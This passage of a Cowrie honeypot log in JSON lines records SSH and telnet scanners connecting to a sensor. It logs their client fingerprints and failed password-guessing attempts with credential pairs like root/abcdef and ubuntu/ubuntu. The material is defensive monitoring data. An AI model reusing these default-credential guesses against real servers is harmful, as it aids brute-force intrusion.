cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:13.089866Z","src_ip":"80.94.92.171","session":"628366288953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:13.874278Z","src_ip":"80.94.92.171","session":"628366288953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:15.112540Z","src_ip":"80.94.92.171","session":"628366288953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54510,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bdc71f6372f","protocol":"ssh","message":"New connection: 46.19.67.181:54510 (159.203.135.109:22) [session: 0bdc71f6372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:22.034722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:22.046701Z","src_ip":"46.19.67.181","session":"0bdc71f6372f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:22.159577Z","src_ip":"46.19.67.181","session":"0bdc71f6372f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfgfvfvf","message":"login attempt [root/gfgfvfvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:22.500518Z","src_ip":"46.19.67.181","session":"0bdc71f6372f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5dc2f0ed6e","protocol":"telnet","message":"New connection: 192.119.13.58:60508 (10.17.0.5:23) [session: ae5dc2f0ed6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:23.575583Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:23.616502Z","src_ip":"46.19.67.181","session":"0bdc71f6372f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"69f64cbde106","protocol":"ssh","message":"New connection: 80.94.92.186:56650 (159.203.135.109:22) [session: 69f64cbde106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:24.530698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:24.638282Z","src_ip":"80.94.92.186","session":"69f64cbde106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:24.720896Z","src_ip":"80.94.92.186","session":"69f64cbde106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:25.549087Z","src_ip":"80.94.92.186","session":"69f64cbde106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:26.737076Z","src_ip":"80.94.92.186","session":"69f64cbde106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":43418,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdd692de4cdc","protocol":"ssh","message":"New connection: 147.45.197.250:43418 (159.203.135.109:22) [session: fdd692de4cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:27.257913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:27.263210Z","src_ip":"147.45.197.250","session":"fdd692de4cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:27.354152Z","src_ip":"147.45.197.250","session":"fdd692de4cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef","message":"login attempt [root/abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:27.629318Z","src_ip":"147.45.197.250","session":"fdd692de4cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:28.723161Z","src_ip":"147.45.197.250","session":"fdd692de4cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f856f78fd5","protocol":"telnet","message":"New connection: 192.119.13.58:51246 (10.17.0.5:23) [session: d4f856f78fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:28.956481Z"}
{"eventid":"cowrie.session.closed","duration":40.161115407943726,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:51.185336Z","src_ip":"192.119.13.58","session":"e0e5a1ed2163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.169776916503906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:03.126189Z","src_ip":"192.119.13.58","session":"d4f856f78fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.939746141433716,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:08.515218Z","src_ip":"192.119.13.58","session":"ae5dc2f0ed6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0e883c8001","protocol":"telnet","message":"New connection: 192.119.13.58:35554 (10.17.0.5:23) [session: ee0e883c8001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:09.912534Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":21424,"dst_ip":"159.203.135.109","dst_port":22,"session":"4821cab2cc9d","protocol":"ssh","message":"New connection: 45.227.254.170:21424 (159.203.135.109:22) [session: 4821cab2cc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:28.058622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:28.063162Z","src_ip":"45.227.254.170","session":"4821cab2cc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:28.166821Z","src_ip":"45.227.254.170","session":"4821cab2cc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:28.620583Z","src_ip":"45.227.254.170","session":"4821cab2cc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60894,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d27eec58ab5","protocol":"ssh","message":"New connection: 37.233.85.71:60894 (10.17.0.5:22) [session: 2d27eec58ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:30.702731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:30.707825Z","src_ip":"37.233.85.71","session":"2d27eec58ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:30.812986Z","src_ip":"37.233.85.71","session":"2d27eec58ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zxc","message":"login attempt [root/123456789zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:31.135031Z","src_ip":"37.233.85.71","session":"2d27eec58ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:32.273206Z","src_ip":"37.233.85.71","session":"2d27eec58ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2adb038b0a49","protocol":"ssh","message":"New connection: 2.57.122.238:50136 (159.203.135.109:22) [session: 2adb038b0a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:34.122390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:34.127434Z","src_ip":"2.57.122.238","session":"2adb038b0a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:34.228386Z","src_ip":"2.57.122.238","session":"2adb038b0a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:34.529684Z","src_ip":"2.57.122.238","session":"2adb038b0a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:35.633382Z","src_ip":"2.57.122.238","session":"2adb038b0a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.4622106552124,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:42.374613Z","src_ip":"192.119.13.58","session":"ee0e883c8001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"74a237e5bd6f","protocol":"ssh","message":"New connection: 62.133.63.178:35642 (159.203.135.109:22) [session: 74a237e5bd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:46.272925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:46.277520Z","src_ip":"62.133.63.178","session":"74a237e5bd6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:46.394601Z","src_ip":"62.133.63.178","session":"74a237e5bd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"565656","message":"login attempt [root/565656] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:46.748173Z","src_ip":"62.133.63.178","session":"74a237e5bd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:05:47.871638Z","src_ip":"62.133.63.178","session":"74a237e5bd6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54598,"dst_ip":"10.17.0.5","dst_port":23,"session":"04d7c74bc32d","protocol":"telnet","message":"New connection: 192.119.13.58:54598 (10.17.0.5:23) [session: 04d7c74bc32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:14.830250Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59800,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ab4260821a","protocol":"ssh","message":"New connection: 193.37.70.224:59800 (10.17.0.5:22) [session: 43ab4260821a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:19.866743Z"}
